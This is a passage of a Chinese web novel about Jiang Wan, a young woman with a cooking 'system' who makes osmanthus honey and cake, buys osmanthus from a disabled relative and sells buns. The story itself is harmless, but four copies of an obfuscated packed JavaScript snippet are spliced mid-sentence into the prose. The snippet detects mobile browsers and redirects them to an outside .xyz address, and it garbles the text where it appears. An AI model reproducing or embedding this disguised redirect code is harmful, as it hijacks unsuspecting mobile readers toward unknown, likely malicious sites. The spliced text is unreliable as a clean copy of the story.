【获得食谱】：白面馒头初级（30/100）南瓜馒头初级（26/100） 全麦馒头初级（32/100）豆腐粉丝包中级（40/1000） 素三鲜包中级（45/1000）猪肉三鲜包中级（10/1000） 虾仁三鲜包初级（80/100） 【获得物品】：0 【个人积分】：1063 【个人技能】：揉面中级（0/1000） 江皖开始不断点击系统客服的小喇叭按钮，不断在脑海中默念自己的问题。 系统：【...已检测到宿主的疑问，现在开始检索，请稍等片刻。】 画面中出现一个小圆圈转了一会儿。 系统：【现在开始回答宿主的疑问，首先解答''个人技能''栏的出现：系统在一个小时前检测到宿主的一项技能发生跃迁式进步，自动从中获取能量，解锁因受损而关闭的''个人技能栏''】 原来如此，江皖盯着自己（揉面中级）那行技 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317318|183071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能，应该是早上自己的揉面技术突破了初级，带给系统能量，它修复了因为受损锁住的个人技能栏，而个人技能的出现也增加了揉面初级的积分，现在她的积分已经足够购买桂花糕食谱了。而且个人等级也从0变成了1，怪不得今天她揉面后半程明显感觉更加得心应手，花的时间也比平时少了接近一半。 这真是一个惊喜，做事的效率越快，花的时间就越少，那么每天奔波劳累的自己不用像在牙缝里找时间休息，同时也能均衡好自己的生活和工作了。 说实话，江皖从准备摆摊的前十几天到现在，几乎没有一点刷抖音、玩游戏、看小说的时间。虽然赚钱很重要，但能悠闲的生活，谁会想像陀螺一样连轴转呢。 搞明白全部后的江皖一身轻松，有了欣赏日出的心情，虽然现在太阳已经升起来了，但看着这个看着明明每天一同起床，但从来没有打过招呼的太阳，享受的晒了一会儿。 “小皖，出来吃饭了。”江建国端着两个盘子喊她吃早饭。 “这就来！”江皖答应道，看见台面上还有没端过去的饭，她用托盘把台面上的粥都放上去，还不忘从碗柜里拿了三双筷子。 餐桌上早饭已经全部摆好，还挺丰盛，有小米粥、凉拌苦瓜、西红柿拌白糖，还有一小盘小葱拌豆腐，这是江皖昨天做包子剩的。她和爸爸坐在餐桌上，等了一会儿却不见张芳芳人影。 江皖疑惑问道：“我妈呢？” 江建国朝卫生间努了努嘴，小声说：“昨晚她睡得晚，早上就多睡了一会儿，好不容易起来了结果又忙着去洗头，现在还没收拾好呢。” 江皖抽抽嘴角：“不会是为了今天摆摊的事吧？” 江建国给了她一个明知故问的眼神，她无语的挠挠脸颊，还算乐观的认为自己的事业被妈妈重视，也算是好事了。 又等了一会儿，但张芳芳还不出来，仿佛要在卫生间呆到天荒地老，时间来不及了，江建国和江皖决定不再等她。 夹了一筷子西红柿塞进嘴里，江皖感叹：还是这个味，这个酸甜的滋味她百吃不腻，江建国索性直接把盘子端到她面前：“你全吃了吧，我跟你妈不爱吃这种甜甜的东西。” 江皖知道他们确实不爱吃，全家人里只有她喜欢，拿过来筷子不停，毫不客气的吃了半盘，终于过瘾后，她把手机支架拿到面前放上手机，剩下一半西红柿她决定边玩手机边吃。 打开一个网上博主制作桂花糕的视频，江皖想先观摩一下别人的做法，因为这种糕点的制作方法与馒头截然不同，她之前从未做过，而且系统提供的只有文字描述的食谱，她想先学习别人的制作过程，然后根据自己的理解慢慢还原系统食谱，这样也能少走不少弯路。 直到刷完一个视频后她才回过神来，无奈的发现，自己似乎已经变成了面点的形状，就算是休息的时间，她心里还装着这些事。 前一段时间只要没做别的事，她就在思考面团发酵时间、馅料的配比、调料是否短缺等等问题。现在好了，又多了一个桂花糕。 15. 第十五章 桂花糕（三） 下午五点多，江皖和张芳芳把做好的包子和酸梅汤全部装进保温箱里搬到三轮车上，就准备出摊了，今天还是张芳芳去卖包子，因为江皖要开始为新品做准备了。 与妈妈告别，目送她骑着车走后，她就拿着列好的清单，出发去购买桂花糕的食材。 虽然下午一时激动脑袋一热，就下决心马上就开始试做新品，但恢复冷静后她还是要认清现实：今天晚上是做不出桂花糕的，先不说食谱里列出的材料，像大米和糯米都需要浸泡一晚打磨成粉才能使用、还需要制作桂花蜜。现实就是家里现在连磨粉的机器和桂花糕的模具都没有，更别说还有许多小物件。 江皖发愁的看着手里的单子，这么多东西需要买，自己这个小电车可放不下，想了想还是决定去奶奶家借用三轮车，正好最近几天因为太过忙碌都没去看望他们。 天色还没彻底变黑，趁着夕阳的余光，江皖一路骑到奶奶家的小院，进门就看到他们两人正在树下的桌子上吃碗饭，把车停好，江皖进来打招呼：“奶奶，吃的什么饭啊？” 江奶奶放下筷子站起身，招呼她过来吃饭：“还是熬的稀饭，你吃了没，也来喝一点吧。” 但江皖担心关门，着急借车去买东西，闲聊两句直接说出目的：“我还没吃，不过现在有点事想骑一下爷爷的三轮车。” 江皖转头看向江爷爷：“爷爷，您今天晚上要用车吗？” 江爷爷喝了一口手中的稀饭，摆了摆手：“你骑吧，晚上记得给我送回来，明天早上我还要去下棋。” 江皖伸手比了个ok，就拿着钥匙准备骑走。 江奶奶着急：“哎呀，没吃的话先来吃一点呀，饭好多呢，这么着急忙慌的去哪啊？”说着要进屋给江皖盛饭。 江皖赶紧制止她：“我明天要做桂花糕，今晚还要去买桂花、磨粉器这一堆机器和材料呢，先不说了，一会儿该关门了。”说罢转身去拿钥匙。 江奶奶听到她要去买桂花，一拍大腿，猛然想起来家里有，赶紧喊住她：“先别走，屋里有点桂花，是咱们老家三大爷送过来的，自家做的呢，你先拿去用。” 江皖一听，有桂花。那可好，不用去一个店一个店问着买了，赶紧下车跟着江奶奶进屋。 两人走到厨房，江奶奶在橱柜最里面掏来掏去，掏出一个大红色的塑料袋，皱巴巴的，她直接递给江皖：“应该就是这个。” 江皖掂了掂这个袋子，看起来挺大，但居然这么轻。袋子上绑着死结，江皖没指甲，费力的一点一点磨开，打开袋子，嚯——好漂亮，金灿灿的桂花像散落的星星，一下照亮昏黄的厨房，香味扑鼻而来，真好闻啊！ 定睛一看，系统居然给这份桂花的评级是[优品-]，真是踏破铁鞋无觅处，这么久了，江皖就没见过被评为优品的食材。 她睁大了眼睛兴奋的问：“奶奶，这些桂花真的是三大爷家自己做的吗？他们家还有吗，卖不卖？” 江奶奶想了想：“好像是他家有个亲戚，在附近的村子专门做这些卖，那边种了很多桂花树。”。 江皖赶紧说:“我还想再要点这种桂花，能不能联系三大爷那个亲戚再买点。” 江奶奶表示小菜一碟，明天就给三大爷打电话，问完后就给她答复，江皖这才心满意足的拎着手里的桂花走了，骑车在路上，她心里美滋滋的，今天能得到优品的桂花，已经是不虚此行了。她觉得爷爷奶奶真是宝藏，就像她的仙女教母一样。 一路上江皖心里开心的直冒小泡泡，哼着歌，跟着导航到了爸爸推荐的一家电器行，老板姓王，也是爸爸熟人，告诉王叔叔需求后，江皖花了三百块买了加大版的磨粉器，顺便把模具和筛网等一系列东西都买齐，这个王叔叔特别仗义，还给她打了很大的折扣。 告别时他还帮忙把东西都搬进三轮，江皖跟他告别后就去农贸市场买大米和糯米，不过三轮车容量小，没敢买多，剩下一部分空间还要挤挤买明天包子的材料。 东奔西走快两个小时，江皖终于骑着被塞的满满当当的三轮车慢悠悠的回家，到家已经七点多了，江皖打电话给妈妈让她帮忙把小推车拿下来。 张芳芳早就收摊回家了，今天没忘给江皖发消息。 现在的包子数量太少，只用等预定的顾客把拿完包子就可以收摊了，张芳芳甚至都没开喇叭，因为根本没有多余的可以卖，没去一个小时她就回来了。 两人把东西都运回家后，江皖就准备把爷爷的三轮车还回去。 刚到爷爷家，奶奶就过来告诉她已经联系好卖桂花的人了，江皖赶紧问她情况怎么样，江奶奶颇为唏嘘。她说：我们吃完饭就给你三爷爷打电话，原来他那个卖桂花的亲戚是你三奶奶的外甥，好像姓张，这两年家里挺困难的，前几年在工地干活被钢筋刺穿一只手，送医院晚了没保下来，就截肢了。” 江奶奶叹了一口气，接着说：“现在他出不了门，只能在家做点手工挣钱，这桂花也是，看别人家能卖出去，自己也做了，反正家里有树，都是没本的买卖，不过他没门路，卖不出去，只好堆家里了，后来各个亲戚都送了一点，正好那段时间你爷爷咳嗽，有个偏方需要桂花，你三爷爷知道了就把他送的桂花拿给我们了。” 江皖听完也是唏嘘，她对江奶奶说：“现在可以联系上张叔吗，我想从他那里买点桂花，就按市场价买。”江奶奶挺高兴，把手边电话本拿过来，翻了几页：“你三爷爷听说你想要可高兴了，赶紧把他外甥的电话给我，我已经记到电话本上了。”说着递给江皖。 江皖用手机拍了张照，就告别奶奶，并答应做好了桂花糕给他们送过来。 回到家江皖就马不停蹄的准备熬桂花蜜，这是桂花糕的点睛之笔，好的桂花蜜能把桂花糕的香味提升一个层次。 系统提供的食谱江皖仔细研究了一遍，与市面上的桂花糕教程进行对比，发现它更倾向于古法，只是其中几个步骤和手法有差别，江皖也算做过一段时间面点，以她的经验来看这些秘制配方和手法就是系统出品区别于市面上桂花糕的区别，就像她的包子，其中使用的好几样秘法制作的料油和调料的配比，这些才是江皖的包子受欢迎的关键，就像那些百年老店，每一家都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317322|183071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有自己的秘方，才能经久不衰的获得食客的喜爱。 把干桂花用水淘洗几遍，放在一旁晾干，用食品称准确称量白砂糖和一些□□糖放入锅中用清水熬煮，江皖家里没有温度计，只能凭借经验，等糖全部被煮化后大火转小火，锅面上的大泡泡也变成了细密的小泡，咕噜咕噜的传出糖浆的甜香。 江皖等了大概五分钟，凑近闻了闻，感觉香味差不多了，就把准备好的柠檬汁和盐以及晾好的桂花全部倒进去，接着煮，一般来说到这一步就可以结束了，但系统提供的食谱多了几步加入其他材料的步骤，江皖每一步都很谨慎，小心观察锅内的桂花蜜，视频上的博主说如果做不好很容易凝结成块制作失败，江皖担心会出现这种情况，小心翼翼的不敢轻易搅动。 这是锅里已经传出桂花馥郁的香味了，伴着蜜糖的甜香，简直像面前开满了桂花，但没有桂花香味太浓而产生的眩晕感，只让人陶醉。 把火关掉，晾一会就把它倒进洗干净的陶罐里，金灿灿的桂花包裹在如琥珀一样的糖浆里，坚持着倒完，江皖拿了一个小碗，用小勺舀了一勺桂花蜜直接塞进嘴里。 哇——太好吃了，那种清新的香味，却带着浓郁的口感，丝毫不涩口，填进嘴里江皖都舍不得咽下去，用舌尖慢慢品味，这一口吃完江皖觉得自己口中充满了桂花的香味。 迫不及待看一眼系统评分，江皖挺惊讶，居然是[优品-]，今天不止桂花是优品，这次制作的桂花蜜居然也是，江皖嘶了一口气，看了看自己的双手，难道我真的很有天赋吗？这可是自己第一次制作，难道系统是检测到自己的天赋，才绑定她的？把系统打开，戳了戳屏幕，系统客服没有任何回答，算了，她想，反正得不到答案，总之自己做成功了，现在很开心就足够了。 正准备合上盖子，这时张芳芳进来了，闻着厨房里扑鼻的桂花香，她抽抽鼻子使劲闻了两下，走过来探头看了一眼江皖手里的陶罐：“桂花蜜已经做好了？闻着挺香的。” 江皖调皮的眨眨眼：“不光好闻，还很好吃，妈，我给你冲一个桂花蜜水你尝尝，包你喝了还想喝。”说着就拿出一个杯子，用勺子蒯了两勺桂花蜜放进去。 张芳芳赶紧阻止：“一勺就行了，现在都八点多了，晚上喝太多甜的会发胖。”江皖笑而不语，冲水后递给她，不去盖陶罐的盖子，胸有成竹的等着妈妈要第二杯。 果不其然，张芳芳咂摸了一口瞪大眼睛，然后一口气全部喝光了，喝完就把杯子塞进江皖手里：“再来一杯！”。 她就知道，张芳芳平时就爱吃一些甜的食物，每周都要去买那种老式鸡蛋糕吃，江皖吃的时候都嫌甜，但她妈硬是能一次吃半袋。 又给张芳芳冲完一杯，江皖这次才真正把盖子合上，放进冰箱，转过身很严肃的告诫张她妈：“妈，你可别偷吃太多，最少要给我留一半，剩下的还要做桂花糕用呢。”。 张芳芳很不服气：“你这丫头，没大没小的。我才不会偷吃。”江皖早明白她的德行，口嫌体正直，摇摇头不再多说，进厨房把糯米和大米泡上，明天任务才重呢。 17. 第十七章 桂花糕（五） 其他种类的糕点如蔓越莓糕点，仔细尝后她觉得多了一层蔓越莓酱，没什么区别，不过这是个好点子，拿起笔也记在自己的小本本上，以后可以多开发几个口味。 剩下的三家店味道各有千秋。现在的年月，能开起来还有好口碑的糕点店都有两把刷子，要么口感独特、要么味道新奇、或者价格便宜，江皖把他们的优点和缺点都记录在表格上，准备参考着一步一步改造自己的桂花糕。 两人尝完味道后就开始解决这一大桌子糕点，虽然每种只买了一点，但架不住种类太多，吃到最后江皖已经尝不出味道了，机械的往嘴里塞，张芳芳平时爱吃这类食物，她吃的比较快，江皖硬撑着咽下嘴里的糕点，可怜巴巴的对张芳芳说：“妈，剩下没多少了，您全吃了吧，我先去揉面了！” 刚想钻进厨房，蓦然想起自己的芝士蛋糕还没吃，提着袋子塞进冰箱，江皖就赶紧远离桌上一堆糕点继续去厨房研究她的桂花糕了。 呆到下午两点多，看时间差不多，江皖把午休的母亲叫醒，两人准备开始做包子，今天因为多了一个锅的缘故，江皖大致算了一下，能做大约二百四十多个包子。 不过顾客群里依旧只开放了50个名额，主要是现在条件限制加人工制约，江皖每天能做的就这么多，前几天江皖没去出摊，据她妈说除了预订的顾客，其他经过的顾客都想买，可惜没有多余的可以卖。 所以今天跟张芳芳商量后，江皖决定分出一部分向外售卖，毕竟江皖以后还要开店，向外拓展顾客群体也是很重要的。 现在的包子虽然受限于厨房规模和保温箱数量，但江皖仔细算过，现在她最大的优势就是没有房租等一系列成本制约，除去每日食材本钱，按照现在的最大供货量，她一天能赚1000块左右，这样算来只需坚持一个多月，她就能攒够开店的钱了，这还没有算上未来出售其他品种能赚的钱。 想想都觉得充满希望，江皖现在走在街上，总是控制不住看向路边的店铺，心里还在评判各个店的装修，幻想以后自己的店会开在哪，到时候墙面一定要涂成那种复古绿，她之前去其他城市旅游，一家书店外墙就涂的这个颜色，好看极了。 心里美滋滋的，等两人把包子做完，已经是下午五点多，今天依旧由张芳芳去售卖，江皖很想去，但她更想快点把桂花糕研制成功，争取早点达到能够售卖的标准。 江皖回到厨房，刚把锅架上，就发现上午磨的糯米粉快用光了，她昨晚泡了很多糯米，但因为磨粉机噪音太大，担心扰民，所以只磨了一小部分。想了想，江皖还是决定先把磨粉机带到奶奶家多磨点带回来，顺便跟卖桂花的王叔打电话问一下情况。 把手头上已经开始这锅做好，装进保温桶，江皖收拾一下就出发。 今天去的比较早，隔着围墙，江皖远远就看到爷爷在院子躺椅上听广播，奶奶在旁边择菜。 这里很清静，除了眼前一条水泥路，周围只有三三两两邻居错落在阡陌间，丝毫不用担心扰民，江皖按了两声喇叭，江爷爷抬头，远远望见孙女从远处的小道过来，他扬起上半身坐起来，起身打开院门方便她进来。 停好车江皖直接把手里的保温桶塞到他手里：“这是刚做的桂花糕，还热乎着呢，你们先尝尝。” 江奶奶去洗了把手，笑着说：“小皖又做好吃的了，你的厨艺真是越来越好。”两人磨磨蹭蹭的，江皖性子急，把她们拉到桌前坐下，打开盖子，拿出来一人一个塞到他们手里。 这次送过来的桂花糕江皖特意做松软，甜度也降低了不少，更加适合老年人的口味。看着爷爷奶奶开始品尝，江皖满脸期待的看着他们。 江爷爷注重养生，仔细端详桂花糕后放入口中细细咀嚼，江皖看着他的表情一点一点舒展开，非常享受的模样，接着转头看奶奶，她的表现就很直观了，吃着口中细腻松软、米香醇厚的桂花糕，她直接竖起大拇指。江皖顿时眉开眼笑，对厨师来说，再没有比食客的称赞更好的奖励了。 江爷爷吃了两块才停下，拿起旁边的水杯要喝水，江皖把水壶提上来要给他添茶，却被奶奶阻止，江奶奶指了指厨房：“你去给他那厨房养生壶里的茶，他现在只喝这个。”说完还撇了撇嘴。 江皖好奇的走进厨房，果然柜子上放着一个崭新的养生壶，里面三分之二的部分都塞满了各种中药，什么参片、枸杞、红枣，还有她不认识的药材，江皖拿出去，快把壶放平才倒出来一些颜色诡异、味道复杂的液体。 “这是什么茶，这么奇怪，你去找中医开药了吗？”江皖一脸疑惑。 江奶奶满脸不满，“你爷爷现在每天准时看一个电视台的健康讲座，跟着里面的专家学习，弄了一堆药材熬着喝，说是对身体有好处，他让我也喝，我才不要呢。”说着她晃晃手里的桂花糕，“我觉得你这个桂花糕都比他的药饮养生！” 江爷爷摇摇头，充耳不闻奶奶的不满，估计他们在家已经抬过许多杠了。不过江皖确实有些不放心，担心爷爷乱喝药影响身体健康，于是开始给他做思想工作，无奈他不接招，江爷爷还很骄傲：“我们公园的老人们每天都在一起讨论哪种药材对身体好，这都是专家说的，是有科学依据的。” 江皖快把嘴皮说干，但爷爷还是固执己见，无奈的叹了口气，她想，现在的老人确实有养生的需求和意识，不过没有医学常识的吃药也很让人担心。 仔细想想，前几天翻阅食谱时江皖发现有养生的八珍糕，不过当时积分不太够，现在她的积分已经突破一千，应该足够兑换。到时候自己做一点送给爷爷吃，这样他应该会少喝点这种奇怪的药饮了。 等他们吃完后，江皖就把插线板拉到院子里插上电源开始磨粉。院子空旷，在室内很大声的磨粉声音忽然没那么刺耳了，江皖干脆把拿过来的大米和糯米全部磨完，爷爷奶奶帮忙把袋子口撑开。 等装完后江皖到屋里找绳子捆袋口时，把桌子上的电话簿碰掉了，捡起来时忽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317324|183071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起还没给三爷爷的外甥，那个桂花晒的很好的叔叔打电话呢。 这两天事情太多，要不是看到电话簿她可能又会忘记，把袋子捆好后江皖直接用奶奶的手机打给三爷爷。 几声待机声后，一个年迈的男声接了起来。 “喂，是大嫂吗？我是老三呀，你吃饭了吗。” “哈哈，是我，我们刚吃完。对了，保刚啊，你还记得昨天我问过你桂花的事吗？”江奶奶把免提按开，大声说话。 “噢，我记得，今天小芬还问起这事呢，正好长治也在这...”，话还没说完，话筒那边声音忽然刺啦一阵，背景一阵嘈杂，几秒后一个女声响起。 “大嫂，我是小芬啊，这个事老头他讲不明白，我来跟你说听昨天你的意思是有人想买桂花是吗？” 接电话的是三奶奶，江皖一下就听出来了，她对自己很好，江皖记得过年回老家时三奶奶总是给穿着漂亮靴子冻的直跺脚的她烧炉子。江皖从奶奶手里接过电话，示意她来说。 “三奶奶，我是小皖，是我想要桂花，不是别人，您误会了！” 三奶奶听出她的声音很高兴，一听是她想要，连忙表示直接送给她，不要钱。 江皖哭笑不得的解释：“三奶奶，我做的是长期生意，一次两次不要钱就算了，后面我还需要王叔继续提供呢，这肯定要给钱呀，还要签合同呢。” 三奶奶没怎么听懂，不过她听明白了江皖需要跟她外甥沟通，正好他今天下午跑来打听卖桂花的事，在这吃完晚饭刚准备走。正巧江皖就打过来。 王长治接过手机，刚才的电话内容他听到了，没想到自己的桂花过了这么长时间还能卖出去，他紧张的手都有点发抖，舔了舔嘴唇，还有点语无伦次：“你，你好，是小皖吧，我听说你想要桂花，我这里还有挺多的。”。 江皖听出来话筒那边有点结巴，她放慢语速：“王叔你好，我在奶奶这里拿到一些你做的桂花，感觉质量很好，想再买点，你现在具体还有多少桂花？我可以按照市场价购买。” 王长志想了想，大约估摸了个数，“现在应该还有四五斤，都是去年做的。” 江皖直接说：“四五斤不少，如果都跟我奶奶这里的质量差不多的话，我就都要了。那请问您的心里价位是多少呢？” 王长治有点发懵，他只知道邻居有几家去年摘桂花，卖出去不少钱，想起自家也种了不少桂花树，索性也摘了一点准备卖，结果他没有销路，卖不出去，最后只能堆放在家里。现在江皖问他价格，他吞吞吐吐说不出个所以然。 江皖听出这个叔叔可能不太了解，思索了一下，记得前几天超市里的桂花价钱是一百多块钱一斤，但王叔叔的桂花质量比较好，做桂花蜜也很适合，想了一下直接开口：“王叔，我按市面上的价格来买，给你按一斤300元怎么样？”。 江皖觉得这个价格在她的承受范围内了，一斤桂花挺多了，差不多能做好几罐桂花蜜了。 18. 第十八章 桂花糕（六） 听完江皖的价格后王长治非常惊讶：“这，这也太贵了，村子里其他人几十块钱一斤就被收购走了，你就按照那个价格给我就行了。” 江皖噗哧一下笑出来，她安抚王长治：“您的桂花质量好，杂质少，很符合我的要求，不过我有一个要求，等今年的桂花开后，您要保持这个质量不变，我还会继续收购。” 那边的王叔叔已经激动得说不出话了，只不住的反复说：“太贵了，太贵了...”。 那边三奶奶听完全程，见外甥说不出话，索性接过电话直接定下来，“明天我就让长治送过去，怎么样？” 江皖想了想，“那请王叔明天上午来吧，下午我有其他事。”把事情敲定后，挂断电话，奶奶已经做好饭，江皖在这里吃完饭才骑车回家。 到小区时停车时江皖看到三轮车停在棚里正在充电，看来她妈已经回来了。等电梯时江皖拿出手机，微信群里又开始活跃起来。 江皖白天休息时会在群里潜水，关注里面顾客的意见，随时调整包子口味，之前有挺多顾客提意见豆腐包有点过辣，后来她就把辣度减半，更加符合大众口味。 【微风细雨】：昨天没抢到前50名，今天我一定要第一个下订单！我已经定了明天早上五点的闹钟！ 【幸运小熊】：嘿嘿，我抢到了，不过老板@一颗葡萄~，限量4个太少了，什么时候能多上点。 【创飞世界第一人】：不知道后期会出新品吗，一定很好吃。但是我又好爱我的虾仁包，我上辈子一定跟虾仁包是真爱！ ... 江皖看了半天，思考了一下，决定明天为桂花糕预热一下 【一颗葡萄~】：@全体成员，谢谢大家对江记包子的支持和喜爱，明天会推出新品桂花糕噢，现场会有试吃，请大家品尝后再决定购买，谢谢！ 一连重复发了三条，群里静了一下，然后有人发问， 【wind~】：老板，你家的桂花糕是那种发糕还是米糕啊？ 【一颗葡萄~】：我们完全遵循古法桂花糕的做法，吃起来细腻松软、筋道爽口、米香浓郁，还很适合老人和小孩食用噢。明天是预销售，看看大家对它的接受程度怎么样，如果受欢迎，就会把桂花糕列入常驻菜单里。 【wind~】：听起来就很好吃，我就喜欢米糕，老板做的米糕味道一定超好！ ... 后面的顾客都开始讨论起桂花糕了，现在这个群里已经有一百多个人，每个人都很活跃，错过一会儿江皖就要翻好一会的消息记录，事情通知到后，她简单回了几个表情包就关掉手机、伸手按下电梯。 电梯停在五楼，江皖走到家门口打开门，头都没抬的低头换鞋，一阵饭菜的香味传来，她惊讶的抬头，张芳芳正坐在沙发上刷视频，那厨房里应该是她爸了。 这真是稀奇，他爸爸开饭馆晚上营业时间一般到晚上九点，看了看手表，现在才七点四十，跟妈妈打了个招呼，江皖走进厨房，江大厨正满头大汗的炒菜，胳膊上短袖那一截也被他撸上去变成了无袖。 “爸，你今天怎么回来这么早？”江皖把毛巾递给他，然后探头看向冒火的炒锅，里面满满一大锅花甲，闻了一口，真香！ 江建国擦擦汗，乐呵呵的说：“你宋叔叔今天去钓鱼，正巧遇到旁边有卖花甲的，看着挺新鲜就买了很多，给我也分了点。”说着拿起锅铲，挑了四五个放进碗里给她开小灶。 江皖接过小碗顾不得烫，用手拿起来一口一个嗦掉花甲肉，真是鲜美啊，葱姜蒜的味道浸入花甲，满口留香。 吃了几个过瘾了，江皖洗洗手坐在沙发上打开电视，张芳芳敲敲她的肩膀：“明天就开始卖桂花糕了？” 江皖边按遥控器边回答：“明天先做一点拿去试吃，我准备做两个甜度的，这样顾客选择的余地也大一点。” 张芳芳点头，“你今天做的桂花糕吃起来不比那几个店差，明天我还跟你一起去，对了，有件事没告诉你，这两天咱们摊位换地方了。” 江皖好奇，“为什么？之前的地方有什么问题吗？” “哼，有一家卖烧饼的，前天直接停在我们摆摊的地方，脸皮厚的很，我去说时那个女老板特别凶，后来想想算了，就往后走了一截停在那里了。”张芳芳愤愤不平的抓起瓜子，狠狠的磕下去。 江皖挑眉，确实市场上的摊位都是自由的，但大家总不能每天换摊位吧，所以默认规矩就是统一摆在刚开始占到的位置，除非有人不干了，位置空出来。江皖当时占的摊位并不算好，旁边有一个花坛，里面的观赏灌木把过路的视野挡住大半，但她去的晚，没办法才挑选那个位置，没想到现在居然有人还能看上那个摊位。 具体情况只能等明天去看了，厨房里江建国菜已经炒好，也端上了桌，虽然江皖在爷爷那边吃过饭，但还是没忍住又吃了一大盘花甲，三人吃饱喝足后看了会电视，就洗漱睡觉了。 一夜无梦，早上起床时江皖感叹，好久没有睡眠质量这么好的时候了，果然还是劳动最光荣，昨天累了一天后，躺在床上沾到枕头就睡着了。 翻身起床，今天上午的主要任务是去奶奶家见卖桂花的王叔叔，不过约好的时间是九点，在那之前她还能做两锅桂花糕给爷爷奶奶送去，昨天看他俩都挺喜欢的。 而且昨晚睡觉前，江皖把八珍糕的食谱也兑换了，现在她的积分已经所剩无几，不过目前的品种足够摆摊使用了，后面获得的积分江皖准备抽一次白银档位的奖过过瘾，要知道每天看着抽奖却不能抽，这对一个骨灰级抽卡玩家是多么大的考验。 起床后吃过早饭，她妈妈就去买菜了，做包子馅的菜每天都要买新鲜的，而且张芳芳去批发市场买比江皖去菜市场买的便宜多了，还更新鲜，所以这个任务就光荣的交给张芳芳同志了。 江皖准备了一下就开始做桂花糕，这次她做了一大盘，多做点就不怕爷爷奶奶不够吃了，而且吃不完的桂花糕放在冰箱里能保存三天，拿出来加热后虽然损失点口感，但味道还是很好的。 做完后江皖就把桂花糕打包放在白色三明治盒子里，这些盒子是前几天江皖在网上批发的，当时她对比了好几家，最终选定一款三明治盒子，看起来比透明塑料盒更有质感也更结实，价格也没贵多少，江皖很满意，今天直接拿出来打包。 一盘桂花糕整整装了四大盒，江皖把它们摞在一起装进塑料袋，直接拎上就出发。 到了小院外，清晨的薄雾似乎还未完全消散，洒金似的阳光迫不及待的照在绿油油的菜地上，奶奶应该刚浇过水，边界上垒的石头还有小瓢虫趴在上面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320669|183071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝水。江皖没着急进屋，蹲在菜园边呼吸一丝清凉的空气，直到腿蹲麻了，江皖才撑着起身，活动着有点麻麻的脚趾头，一瘸一拐的进屋。 沙发上奶奶在做手工活，爷爷拿了一个盆蹲在桌子旁制作鱼饵，他一会儿要去鱼塘钓鱼。因为两人刚吃过早饭，所以江皖进屋就直接把桂花糕放进冰箱，然后扭头交代奶奶吃的时候记得加热。 坐过去陪奶奶唠嗑，把鱼饵装进袋子，江爷爷已经扛上他的鱼竿去找朋友了，他刚走没一会儿，院门口就传来声音，似乎是在叫门。 江皖走出去，一个男子正在门外踱步，身边还放了两个大袋子。她过去打开门，好奇的打量眼前的人：“请问你找谁？” 开门的声音似乎吓了他一跳，他赶紧搓手，挤出一脸笑容：“这里是江保红家吗？我有点事找他。” 江皖的爷爷就叫江保红，看了看他脚边的袋子，江皖猜这个男人就是三奶奶的外甥，她打开院门，请他进来：“您就是王叔叔吧，我是江皖，昨天咱们打电话来着，你来的也太早了，现在才刚八点呢，吃饭了吗？” 王长治有些不善言辞，唯唯诺诺的小声回答，然后紧紧拎着袋子随她进屋，江皖把凳子拉开让他坐下，找出茶杯捏了点茶叶放到他面前，倒上热茶。 江奶奶此时已经坐在桌前询问情况，江皖仔细打量眼前的男人，他看起来四十多岁的模样，个子不高不低，很瘦，微微驼背，脸上已经有了些许皱纹，看人时眼神有些躲闪，看起来很憨厚的模样。 江皖看奶奶问的话太多，这个叔叔似乎有些招架不来，连忙把茶杯推到他面前，他伸手接茶的时候，江皖才隐约看到他的左手从小臂中段到手掌的地方已经全没了，刚才衣袖挡着，所以她没有察觉。 借着添茶的理由，江皖不动声色的把茶杯往他右边挪了一点，然后指了指他一直寸步不离身的袋子，“那个就是你带来的桂花吗？” 王长治顿时茶也不喝了，赶紧把袋子捧到她面前打开，嚯——果然之前的桂花是他做的，这里的跟在奶奶家拿的桂花一模一样，江皖伸手拿了几朵，小小的金色花瓣如洒星一般，芬芳的香味十分霸道，还是系统评分为优-的桂花。 